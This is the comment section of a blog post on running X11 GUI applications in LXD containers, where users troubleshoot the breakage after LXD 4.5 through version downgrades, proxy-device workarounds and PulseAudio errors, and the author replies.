
    20200918142356.605 WARN cgfsng - cgroups/cgfsng.c:mkdir_eexist_on_last:1152 - File exists - Failed to create directory "/sys/fs/cgroup/cpuset//lxc.monitor.gui_container
    20200918142356.607 WARN cgfsng - cgroups/cgfsng.c:mkdir_eexist_on_last:1152 - File exists - Failed to create directory "/sys/fs/cgroup/cpuset//lxc.payload.gui_container
    20200918142356.608 ERROR utils - utils.c:lxc_can_use_pidfd:1834 - Kernel does not support pidfds

  5. I was able to get it working by changing the @unix:/tmp/.X11-unix/X0 to unix:/tmp/.X11-unix/X0 in the X0 device. Not sure what the implicates of this are, but it works for now.

    • Martin on September 18, 2020 at 17:03
    • Reply

    Interesting, but removing the @ sign allowed just starting the container. However, calling any GUI app fails stating cannot open display: :0.

  6. I also got LXD upgraded to version 4.5. It’s a snap package, and I am tracking the latest/stable channel.
    When I try to start a GUI container, I also get the permission denied error.

    The output of the command lxc info --show-log steam has no relevant information.

    We are using the snap package of LXD, which means we can rollback to a previous version, until we figure out what’s going on. I just tried it and it did not work; LXD 4.5 has upgraded the database version and can no longer downgrade to LXD 4.4. It could be possible to pick the backup database of LXD 4.4 and use it instead. I did not go that path, as it would not be useful to all users.

    Most likely, the issue is related to the changes with the proxy device in LXD 4.5, https://discuss.linuxcontainers.org/t/lxd-4-5-has-been-released/8824
    It’s the part about forkdns and forkproxy now running under AppArmor confinement

    Looking into this.

    • Martin on September 18, 2020 at 19:49
    • Reply

    Hi Simos, thank you for the updates! I tried to snap refresh --channel=4.4/stable but then all my containers disappeared. In panic I ran the same command again but with with 4.5/stable with no effect. Any idea how to get my containers back again? Help extremely appreciated please. zfs list still shows them all. I didn’t reboot the machine so far.

    1. Hi Martin!

      LXD 4.5 has changed the database schema from LXD 4.4. The database schema does not change frequently but it did change between these versions.
      That means that when you revert the snap version to that of LXD 4.4, LXD is not able to start and you get the following error in /var/log/syslog.

      lxd.daemon[22312]: Error: failed to open cluster database: failed to ensure schema: schema version '36' is more recent than expected '33'
      

      When you try to run lxc list, it says that it cannot find a Unix socket. It just means that LXD refused to run and has shutdown. Hence, no working Unix socket for the lxc client to connect to the LXD service.

      In such a case, it could have been possible to manually edit the database and switch to the backup database (from 4.4). I did not describe this process above, and I think we should not go into such steps. The LXD developer (Stephane) has added a fix in LXD 4.6 (currently, in the candidate channel), so it is better to move forward.

      In any case, the containers are there, and you can use the snap command to switch back to the current LXD.

    • Martin on September 18, 2020 at 20:12
    • Reply

    I followed your tutorial on that (https://blog.simos.info/reconnecting-your-lxd-installation-to-the-zfs-storage-pool) but I was able only to recover the one non-GUI container that was running before I downgraded to 4.4. When I tried to lxd import the others I always got the following error:

    sudo lxd import merlin
    Error: The instance's directory "/var/snap/lxd/common/lxd/storage-pools/default/containers/merlin" appears to be empty. Please ensure that the instance's storage volume is mounted

    I did proper mounting before the import. Everything looked fine.

  7. @Martin I made the same mistake this morning, but doing snap refresh --channel=latest/stable brought back my containers

    • Martin on September 18, 2020 at 20:48
    • Reply

    @Misha Thank you for the suggestion. It didn’t help at all. Maybe I shouldn’t have mounted the volumes and try importing them?

    • PJ Zoulin on September 18, 2020 at 22:49
    • Reply

    I was able to get the container running by commenting out the profile lines that referred to the X11 port and reverting to the old method of getting X11 hooked up.

    devices:
    XDisplay:
    path: /tmp/.X11-unix/X0
    source: /tmp/.X11-unix/X1
    type: disk

    Then I noticed sound wasn’t working either. So I also reverted it for now to the old method of talking to pulseaudio over the container network.

  8. I ended up downgrading to 4.4, losing all my containers and manually re-importing them, sigh.

    Apparently there’s a potential fix at https://github.com/lxc/lxd/pull/7893. not sure how long it’ll take to get its way into the snap version

    • PJ Zoulin on September 19, 2020 at 02:09
    • Reply

    It was just merged a few minutes ago, so hopefully not long! On a different subject, this is what I don’t like about snap… lack of control over updates. But that’s a discussion for a different day.

    1. Snap packages are different, and it is up to us to make use of their additional features.

      In this case, we could have just run snap revert lxd and LXD would be running again in a few seconds. But LXD switched the database schema version between LXD 4.4 and LXD 4.5, so the snap switch is not that straightforward. I do not recommend that way, but rather switch forward to LXD 4.6 (currently on candidate channel). I’ll add instructions at the top of the post.

      Snaps have a feature to lock to a specific channel (i.e. LXD version). Most likely for most of us, LXD 4.0.x (channel 4.0/stable) should suffice, it is feature-frozen, and supported as a snap package until 2025. But as we have already updated to LXD 4.5, it would require manual effort to switch back the LXD database schema to the version for LXD 4.0.x.

      Apart from the 4.0/stable channel, there are also the 4.4/stable, 4.5/stable channels. Next week, there will be a 4.6/stable channel. If that channel works for you, you can switch to it when it is ready. Then, as long as you do not require any of the future new LXD features, you can stay at one of the stable channels.

  9. I have updated the top of the post with instructions on how to switch to LXD 4.6 (from the candidate channel).
    If you go through this, remember to switch back to the stable channel next week, when LXD 4.6 makes it there.

  10. If the database schema changed in an incompatible way, they should have bumped the version to 5.0. Having incompatible changed in a minor version bump is dangerous especially for those folks using LXD in a production environment.

    1. The database schema has an integer value, and may change within the development versions of LXD.
      The error message said that LXD 4.4 was expecting a version 33 while LXD 4.5 had a version 36.

      There have been many many versions of LXD, so a version number of 36 means that the schema changes are not that many.

      For those that use LXD in a production environment, they do not use LXD 4.x because these are not feature-frozen versions. In production, someone would use LXD 4.0.x (currently 4.0.3) and switch to tracking the channel 4.0/stable. That channel gets updates only for security fixes and changes very rarely. Obviously, the database schema does not change in that line of LXD.

  11. LXD 4.6 has just been released into the latest/stable channel. If you had setup the latest/candidate channel, it is now time to switch back to the latest/stable channel.
    Here is the command to do so,

    sudo snap refresh lxd --channel=latest/stable
    
    • Jason Langley on October 10, 2020 at 20:18
    • Reply

    Hi: Thanks so much for these instructions. I’d very much like to be able to use LXD instead of VirtualBox for a few GUI applications (mainly a secure way to connect to the web without exposing my system). This is the closest I’ve ever come to succeeding with this, but I’m still running into problems. My host is an Ubuntu 20.04 system, up to date. The container is 18.04, also up to date.

    When I start firefox, I get the error msg: Sandbox: /tmp/.X11-unix/X0 is inaccessible (No such file or directory); can’t isolate network namespace in content processes . Is such a message normal for this setup?

    I’m guessing that this means that LXD is not securely isolated from the rest of my system? Firefox does run, but I’m worried my system isn’t secure from a potential attack through firefox, which is why I’m using containers.

    The error message is right–there is no /tmp/.X11-unix directory or anything like a unix socket file for X11 that I can find on my host system (even wtih lsof -U). On the host, there is a /tmp/.X11-unix, but it is an empty directory (no X0). On the other hand, I understand that in x11.profile /tmp/.X11-unix/X0 is just supposed to be an abstraction.

    My other problem, which isn’t as critical for my main uses, is that I don’t get audio, even in firefox. There is a /run/user/1000/pulse/native file on the host. When I run pactl info, I get the error msg: pa_context_connect() failed: Connection refused . I see no error msgs in journalctl -r.

    • Jason Langley on October 10, 2020 at 20:28
    • Reply

    I meant to say that “On the container (NOT host), there is a /tmp/.X11-unix, but it is an empty directory…”

    • Jason Langley on October 10, 2020 at 23:08
    • Reply

    I grepped for ‘pulse’ in all journalctrl output and did find some potential problems (see pulled out fails below), though it’s unclear to me this explains why I get no audio. This was from yesterday and seems to be in the same time frame as download and installation of pulseaudio, which took place shortly before the following.

    Oct 09 19:01:20 mycontainer pulseaudio[3620]: setrlimit(RLIMIT_NICE, (31, 31)) failed: Operation not permitted
    Oct 09 19:01:20 mycontainer pulseaudio[3620]: setrlimit(RLIMIT_RTPRIO, (9, 9)) failed: Operation not permitted
    Oct 09 19:01:20 mycontainer pulseaudio[3620]: Failed to acquire high-priority scheduling: Permission denied

    Oct 09 19:01:20 mycontainer pulseaudio[3620]: Failed to open cookie file ‘/home/ubuntu/.config/pulse/cookie’: No such file or directory
    Oct 09 19:01:20 mycontainer pulseaudio[3620]: Failed to load authentication key ‘/home/ubuntu/.config/pulse/cookie’: No such file or directory
    Oct 09 19:01:20 mycontainer pulseaudio[3620]: Failed to open cookie file ‘/home/ubuntu/.pulse-cookie’: No such file or directory
    Oct 09 19:01:20 mycontainer pulseaudio[3620]: Failed to load authentication key ‘/home/ubuntu/.pulse-cookie’: No such file or directory

    Oct 09 19:01:20 mycontainer pulseaudio[3620]: Unable to contact D-Bus: org.freedesktop.DBus.Error.Spawn.ExecFailed: /usr/bin/dbus-launch terminated abnormally without any error message
    Oct 09 19:01:20 mycontainer pulseaudio[3620]: Unable to contact D-Bus: org.freedesktop.DBus.Error.Spawn.ExecFailed: /usr/bin/dbus-launch terminated abnormally without any error message
    Oct 09 19:01:20 mycontainer pulseaudio[3620]: Daemon startup complete.

    Oct 09 19:01:25 mycontainer pulseaudio[3620]: Sink auto_null idle for too long, suspending …
    Oct 09 19:01:30 mycontainer pulseaudio[3620]: Synced.

    • mixer on October 16, 2020 at 10:19
    • Reply

    Have you considered adding some kind of license to this profile file, so it could be reused/modified by other projects?

    1. I use the pre-copyright semantics for this file. That is, since I do not mention any restrictions, there aren’t any.

      You may use the profile file as you wish, without any restriction from my side.

    • d1bro on November 17, 2020 at 11:02
    • Reply

    hello could you tell me if this works with 20.04.1? or what changes i might have to make? thx alot

  12. Hello!
    I’m trying to create lxd gui container with Arch os instead of ubuntu (arch linux container on archlinux host) and found few issues that i can’t fix.
    1. pactl info returns “Connection failure: Access denied” error on the second run of this command. Technically, when .config/pulse/cookie gets created (first run of pactl info) it connects to pulse server flawlessly. After that it returns error.
    Obviously if i passthrough host cookie then sound work in container with no problems.

    i have installed mesa & mesa-demos package, but glxgears fails with “Error: couldn’t find RGB”
    $ glxinfo
    name of display: :0
    Error: couldn’t find RGB GLX visual or fbconfig

    $ glxdemo
    Error: couldn’t get an RGB, Double-buffered visual

    xclock run fine, though. Googling doesn’t help a lot.

    Why there are no tutorials for archlinux gui containers?
    Any help will be appreciated.

  13. There was a bug in software, magic reboot helped to fix that and gui worked like a charm. One problem left to solve is a pulseaudio authorization denied error. Do you have any clues how to fix that?

    “1. pactl info returns “Connection failure: Access denied” error on the second run of this command. Technically, when .config/pulse/cookie gets created (first run of pactl info) it connects to pulse server flawlessly. After that it returns error.
    Obviously if i passthrough host cookie then sound work in container with no problems.

    By the way, it’s so cool, i even managed to run gui by multiple users from one container.

    One more thing, possibly not related to container, chat app doesnt want to autologin when run from container. Of course it’s Microsoft Skype for linux, so i’m not surprised. Others (Viber, even MS Teams autologin without problem).

  14. Howdy,

    Thanks for your guide. I’ve been noticing crazy high CPU usage on the forkproxy process when running anything with video. I use this guide and an isolated X server to run Skype and similar applications I use for my job online tutoring; however, the forkproxy process uses so much CPU that my graphics tablet lags when writing.

    Any ideas on how to cut down on this? I tried connecting to X via tcp, and that was worse. Would one of the older methods, e.g. passing the socket as a disk device, work without spawning that process while still maintaining reasonable security?

    I really enjoy your blog. Thanks for all the great articles!

  1. […] December 2019: See updated post Running X11 software in LXD containers  which uses LXD proxy devices and is easier to […]

  2. […] June 2020: See newer post at https://blog.simos.info/running-x11-software-in-lxd-containers/ for simplified instructions. They require a recent LXD (version 4.0 or newer), and snap packages […]

Leave a Reply to Simos Xenitellis Cancel reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

%d bloggers like this: